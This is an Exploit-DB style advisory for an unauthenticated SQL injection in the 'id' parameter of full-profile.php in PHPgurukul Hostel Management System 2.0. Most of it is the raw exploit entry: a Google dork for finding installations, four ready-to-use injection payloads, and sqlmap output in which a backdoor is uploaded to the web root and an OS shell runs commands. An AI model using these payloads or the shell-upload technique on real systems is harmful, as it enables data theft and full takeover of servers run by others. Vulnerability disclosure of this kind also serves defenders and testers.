Hostel Management System 2.0 - 'id' SQL Injection

vendor:

Hostel Management System

by:

FULLSHADE

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Hostel Management System

Affected Version From: v2.0

Affected Version To: v2.0

Patch Exists: NO

Related CWE: N/A

CPE: a:phpgurukul:hostel_management_system:2.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows

2020

Hostel Management System 2.0 – ‘id’ SQL Injection

The Hostel Management System v2.0 application from PHPgurukul is vulnerable to SQL injection via the 'id' parameter on the full-profile.php page. GET parameter 'id' is vulnerable.

Mitigation:

Input validation and sanitization should be done to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# Exploit Title: Hostel Management System 2.0 - 'id' SQL Injection
# Google Dork: intitle: "Hostel management system"
# Date: 2020-01-03
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/hostel-management-system/
# Version: v2.0
# Tested on: Windows
# CVE : N/A

Description:

The Hostel Management System v2.0 application from PHPgurukul is vulnerable to
SQL injection via the 'id' parameter on the full-profile.php page.

==================== 1. SQLi ====================

http://10.0.0.214/Hostel%20management%20System%20Project/hostel/full-profile.php?id=1

THe ?id parameter is vulnerable to SQL injection, it was also tested, and a un-authenticated
user has the full ability to run system commands via --os-shell and fully compromise the system

GET parameter 'id' is vulnerable.

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: id=-3444' OR 1650=1650#

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' OR (SELECT 3801 FROM(SELECT COUNT(*),CONCAT(0x7176627a71,(SELECT (ELT(3801=3801,1))),0x71707a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- klCZ

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=1' OR SLEEP(5)-- slKU

    Type: UNION query
    Title: MySQL UNION query (NULL) - 29 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176627a71,0x63786c795a416371494752765744487a4e6443636e705076586e714d735a7053595a4b676b526157,0x71707a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

[14:20:08] [INFO] the file stager has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpulczr.php
[14:20:08] [INFO] the backdoor has been successfully uploaded on 'C:/xampp/htdocs/' - http://10.0.0.214:80/tmpbjdvm.php
[14:20:08] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'john-pc\john'
os-shell>